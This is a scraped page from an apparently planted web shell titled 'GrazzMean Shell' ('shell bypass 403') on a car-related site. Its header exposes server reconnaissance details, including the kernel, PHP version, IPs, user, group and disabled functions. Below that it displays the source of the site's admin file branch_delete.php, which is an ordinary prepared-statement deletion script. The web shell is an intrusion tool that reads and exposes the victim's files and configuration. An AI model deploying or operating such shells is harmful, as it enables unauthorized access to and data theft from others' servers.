shell bypass 403

GrazzMean Shell

: /var/www/vhosts/m-auto.co/httpdocs/admin/ [ drwxr-xr-x ]
Uname: Linux serv.m-auto.co 3.10.0-1160.42.2.el7.x86_64 #1 SMP Tue Sep 7 14:49:57 UTC 2021 x86_64
Software: nginx/1.28.2
PHP version: 8.1.34 [ PHP INFO ] PHP os: Linux
Server Ip: 41.215.243.19
Your Ip: 216.73.216.151
User: m-auto.co_vxasg6smqe (10000) | Group: psacln (1003)
Safe Mode: OFF
Disable Function:
opcache_get_status,mail

name : branch_delete.php
<?php
include 'auth.php';
require_permission('branches_delete');
include '../includes/db.php';

if (isset($_GET['id'])) {
    $id = $_GET['id'];

    // Check if any reservations are linked to this branch
    $stmt_check = $conn->prepare("SELECT id FROM visit_reservations WHERE branch_id = ? UNION ALL SELECT id FROM maintenance_reservations WHERE branch_id = ?");
    $stmt_check->bind_param("ii", $id, $id);
    $stmt_check->execute();
    $result = $stmt_check->get_result();

    if ($result->num_rows > 0) {
        // Cannot delete, there are reservations linked to it
        header("Location: branches.php?error=لا يمكن حذف هذا الفرع لوجود حجوزات مرتبطة به. يمكنك تعديل بياناته بدلاً من ذلك.");
        exit();
    }
    $stmt_check->close();

    // Proceed with deletion
    $stmt_delete = $conn->prepare("DELETE FROM branches WHERE id = ?");
    $stmt_delete->bind_param("i", $id);

    if ($stmt_delete->execute()) {
        header("Location: branches.php?success=تم حذف الفرع بنجاح");
    } else {
        header("Location: branches.php?error=حدث خطأ أثناء الحذف");
    }
    $stmt_delete->close();
    $conn->close();
} else {
    header("Location: branches.php");
    exit();
}
?>
© 2026 GrazzMean